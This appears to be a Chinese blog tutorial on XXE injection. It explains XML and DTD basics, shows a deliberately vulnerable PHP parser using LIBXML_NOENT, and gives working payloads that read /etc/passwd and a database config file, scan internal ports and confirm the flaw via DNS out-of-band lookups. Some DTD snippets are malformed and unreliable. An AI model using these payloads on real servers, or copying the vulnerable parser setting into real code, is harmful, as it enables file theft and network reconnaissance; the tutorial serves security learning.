文章摘要
TianliGPT
生成中...

本文最后更新于 2024-07-26,文章内容可能已经过时。

免责声明

⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,
决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠

一、概述

XXE(XML External Entity Injection)xml外部实体注入

二、前提

Web应用的脚本代码没有限制XML引入外部实体,从而导致测试者可以创建一个包含外部实体的XML,使得其中的内容会被服务器端执行

注意:这个漏洞必须是在libxml2.9.1这个版本以及更低的版本才能利用。

<?xml version="1.0"?> 
<students>
   <student id="1">
    	<name>zhangsan</name>
        <age>13</age>
    </student>
     <student>
    	<name>lisi</name>
        <age>13</age>
    </student>
     <student>
    	<name>wangwu</name>
        <age>12</age>
    </student>
</students>
XML

三、危害

当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害

四、XML基础

1、语法规则:

XML必须有个根元素
XML标签必须具有结束标记
XML标签区分大小写
XML元素必须正确嵌套
XML属性值必须始终加引号

<note date="12/11/2007">
  <to>Tove</to>
  <from>Jani</from>
</note>
XML

五、实体

1、DTD(document type definition)

文档类型声明:DTD的作用是定义XML文档的合法构造模块,可以在内部声明,也可以外部引用

所有的XML文档都由五种简单的构建模块(元素,属性,实体,PCDATA CDATA)构成

内部声明:

<!--XML申明-->
<?xml version="1.0"?> 

<!--文档类型定义-->
<!DOCTYPE user [  <!--定义此文档是 user 类型的文档-->
<!ELEMENT user (name,age,sex,saying)>  <!--定义user元素有四个元素-->
<!ELEMENT name (#PCDATA)>     <!--定义name元素为”#PCDATA”类型-->
<!ELEMENT age (#PCDATA)>   <!--定义age元素为”#PCDATA”类型-->
<!ELEMENT sex (#PCDATA)>   <!--定义sex元素为”#PCDATA”类型-->
<!ELEMENT saying (#PCDATA)>   <!--定义saying元素为”#PCDATA”类型-->
]]]>

<!--文档元素-->
<user>
<name>alex</name>
<age>22</age>
<sex>man</sex>
<saying>I can do anything I want</saying>
</user>

XML

外部声明:

user.dtd

<!--XML申明-->
<?xml version="1.0"?> 

<!--文档类型定义-->
<!DOCTYPE  [  <!--定义此文档是 user 类型的文档-->
<!ELEMENT user (name,age,sex,saying)>  <!--定义user元素有四个元素-->
<!ELEMENT name (#PCDATA)>     <!--定义name元素为”#PCDATA”类型-->
<!ELEMENT age (#PCDATA)>   <!--定义age元素为”#PCDATA”类型-->
<!ELEMENT sex (#PCDATA)>   <!--定义sex元素为”#PCDATA”类型-->
<!ELEMENT saying (#PCDATA)>   <!--定义saying元素为”#PCDATA”类型-->
]]]>
XML

xml内容

user.xml

<!--XML申明-->
<?xml version="1.0"?> 

<!--文档类型定义-->
<!--定义此文档是 note 类型的文档-->
<!DOCTYPE user SYSTEM "user.dtd">

<!--文档元素-->
<user>
<name>alex</name>
<age>22</age>
<sex>man</sex>
<saying>I can do anything I want</saying>
</user>

XML

2、实体:

在DTD中声明的变量就是实体,通过在标签中使用&实体名;引用

(1)内部实体:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY name "alex">]>
<foo>
        <value>&name;</value> 
</foo>

XML

(2)外部实体:<!ENTITY 实体名 SYSTEM 文件名>

test.dtd


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY xxe "abcefg">]>
XML
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<foo>
    <user>&xxe;</user>
    <pass>mypass</pass>
</foo>


XML

区别:内部实体变量值是固定的,而外部实体是给定外部文件中获取。

六、外部实体漏洞:

当外部实体引用的文件变为用户可控输入时,用户就可以使用任意地址来getshell

<!ENTITY name SYSTEM 任意文件路径>
XML

php代码:

<?php
    $xml = file_get_contents("php://input");

    $data = simplexml_load_string($xml,"SimpleXMLElement",LIBXML_NOENT);
    echo $data;
?>
PHP

payload:

http://192.168.32.129/secure21/php/xxedemo.php

post正文:

<?xml version="1.0"?>
<!DOCTYPE node[
	<!ENTITY woniu SYSTEM "file:///etc/passwd">
]>
<node>&woniu;</node>

也可以使用base64获取代码
<?xml version="1.0"?>
<!DOCTYPE node[
	<!ENTITY woniu SYSTEM "php://filter/read=convert.base64-encode/resource=/opt/lampp/htdocs/goods/common/dbconn.php">

]>
<node>&woniu;</node>


也可以扫描端口:端口开放应该没有响应,不开放,会报错
<?xml version="1.0"?>
<!DOCTYPE node[
	<!ENTITY woniu SYSTEM "http://192.168.108.128:3306">
]>
<node>&woniu;</node>

XML

image-20240319235001967

DNS带外探测:

dnslog.cn申请临时域名

image-20240319235323263

payload:

在临时域名前增加test.

<?xml version="1.0"?>
<!DOCTYPE node[
	<!ENTITY woniu SYSTEM "http://test.ud472k.dnslog.cn">
]>
<node>&woniu;</node>
XML

image-20240319235505129

访问后发现有dns日志,说明存在这个xxe的漏洞

image-20240319235534808